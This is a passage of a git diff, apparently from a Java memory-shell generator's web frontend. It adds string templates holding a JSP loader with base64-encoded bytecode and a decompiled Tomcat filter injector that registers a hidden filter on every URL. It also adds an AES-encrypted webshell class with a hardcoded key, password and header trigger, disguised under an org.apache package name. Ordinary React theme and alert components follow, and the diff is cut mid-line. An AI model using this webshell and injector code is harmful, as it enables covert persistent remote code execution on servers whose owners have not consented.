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"; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(className).newInstance(); + } catch (Exception e) { + try { + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + byte[] bytecode = decodeBase64(base64Str); + Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length); + clazz.newInstance(); + } catch (Exception ignored) { + } + } +%>`; + +const injectorClass = `// +// (powered by FernFlower decompiler) +// + +package org.apache.lEfaI; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +public class SignatureUtils { + public SignatureUtils() { + try { + for(Object context : this.getContext()) { + Object filter = this.getFilter(context); + this.addFilter(context, filter); + } + } catch (Exception var5) { + } + + } + + public String getUrlPattern() { + return "/*"; + } + + public String getClassName() { + return "org.apache.NpAUp.ErrorHandler"; + } + + public String getBase64String() { + return "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"; + } + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null); + return (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + + int n; + while((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + + return out.toByteArray(); + } + + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + + for(Class clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { + try { + field = clazz.getDeclaredField(name); + break; + } + } + + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = obj instanceof Class ? (Class)obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + + while(method == null && tempClass != null) { + try { + if (paramClazz == null) { + Method[] methods = tempClass.getDeclaredMethods(); + + for(Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException var14) { + tempClass = tempClass.getSuperclass(); + } + } + + if (method == null) { + throw new NoSuchMethodException(methodName); + } else { + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke((Object)null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); + Object context = null; + + try { + for(Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap)this.getFieldValue(this.getFieldValue(this.getFieldValue(thread, "target"), "this$0"), "children"); + + for(Object key : childrenMap.keySet()) { + HashMap children = (HashMap)this.getFieldValue(childrenMap.get(key), "children"); + + for(Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = this.getFieldValue(this.getFieldValue(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + + return contexts; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + filter = classLoader.loadClass(this.getClassName()); + } catch (Exception var9) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + + return filter; + } + + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + ClassLoader catalinaLoader = this.getCatalinaLoader(); + String filterClassName = this.getClassName(); + + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { + return; + } + } catch (Exception var15) { + } + + Object filterDef; + Object filterMap; + try { + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception var14) { + try { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + } catch (Exception var13) { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); + } + } + + try { + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + + Constructor[] constructors; + try { + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + } catch (Exception var11) { + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); + } + + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception var10) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map)this.getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); + ClassLoader catalinaLoader = null; + + for(Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + catalinaLoader = thread.getContextClassLoader(); + break; + } + } + + return catalinaLoader; + } + + static { + new SignatureUtils(); + } +} +`; + +const shellClass = `// +// (powered by FernFlower decompiler) +// + +package org.apache.NpAUp; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.FilterConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; + +public class ErrorHandler extends ClassLoader implements Filter { + public String key = "3c6e0b8a9c15224a"; + public String pass = "pass"; + public String md5 = "11CD6A87589841636C37AC826A2A04BC"; + public String headerName = "User-Agent"; + public String headerValue = "test123"; + + public ErrorHandler() { + } + + public ErrorHandler(ClassLoader var1) { + super(var1); + } + + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var41) { + return null; + } + } + + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest)servletRequest; + HttpServletResponse response = (HttpServletResponse)servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(this.pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + + Object f; + try { + f = ((Class)session.getAttribute("payload")).newInstance(); + } catch (IllegalAccessException | InstantiationException e) { + throw new RuntimeException(e); + } + + f.equals(arrOut); + f.equals(request); + response.getWriter().write(this.md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(this.md5.substring(16)); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception var12) { + chain.doFilter(servletRequest, servletResponse); + } + + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } + + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); + value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); + value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + + return value; + } +} +`; diff --git a/web/src/components/tailwind-indicator.tsx b/web/src/components/tailwind-indicator.tsx new file mode 100644 index 00000000..b9a78907 --- /dev/null +++ b/web/src/components/tailwind-indicator.tsx @@ -0,0 +1,12 @@ +export function TailwindIndicator() { + return ( +
+
xs
+
sm
+
md
+
lg
+
xl
+
2xl
+
+ ); +} diff --git a/web/src/components/theme-provider.tsx b/web/src/components/theme-provider.tsx new file mode 100644 index 00000000..4ddf6079 --- /dev/null +++ b/web/src/components/theme-provider.tsx @@ -0,0 +1,73 @@ +import { createContext, useContext, useEffect, useState } from "react"; + +type Theme = "dark" | "light" | "system"; + +type ThemeProviderProps = { + children: React.ReactNode; + defaultTheme?: Theme; + storageKey?: string; +}; + +type ThemeProviderState = { + theme: Theme; + setTheme: (theme: Theme) => void; +}; + +const initialState: ThemeProviderState = { + theme: "system", + setTheme: () => null, +}; + +const ThemeProviderContext = createContext(initialState); + +export function ThemeProvider({ + children, + defaultTheme = "system", + storageKey = "vite-ui-theme", + ...props +}: ThemeProviderProps) { + const [theme, setTheme] = useState( + () => (localStorage.getItem(storageKey) as Theme) || defaultTheme, + ); + + useEffect(() => { + const root = window.document.documentElement; + const mode = "data-color-mode"; + root.classList.remove("light", "dark"); + + root.removeAttribute(mode); + if (theme === "system") { + const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches + ? "dark" + : "light"; + + root.classList.add(systemTheme); + root.setAttribute(mode, systemTheme); + return; + } + root.setAttribute(mode, theme); + root.classList.add(theme); + }, [theme]); + + const value = { + theme, + setTheme: (theme: Theme) => { + localStorage.setItem(storageKey, theme); + setTheme(theme); + }, + }; + + return ( + + {children} + + ); +} + +export const useTheme = () => { + const context = useContext(ThemeProviderContext); + + if (context === undefined) throw new Error("useTheme must be used within a ThemeProvider"); + + return context; +}; diff --git a/web/src/components/ui/alert.tsx b/web/src/components/ui/alert.tsx new file mode 100644 index 00000000..cd0a0627 --- /dev/null +++ b/web/src/components/ui/alert.tsx @@ -0,0 +1,49 @@ +import * as React from "react"; +import { cva, type VariantProps } from "class-variance-authority"; + +import { cn } from "@/lib/utils"; + +const alertVariants = cva( + "relative w-full rounded-lg border px-4 py-3 text-sm 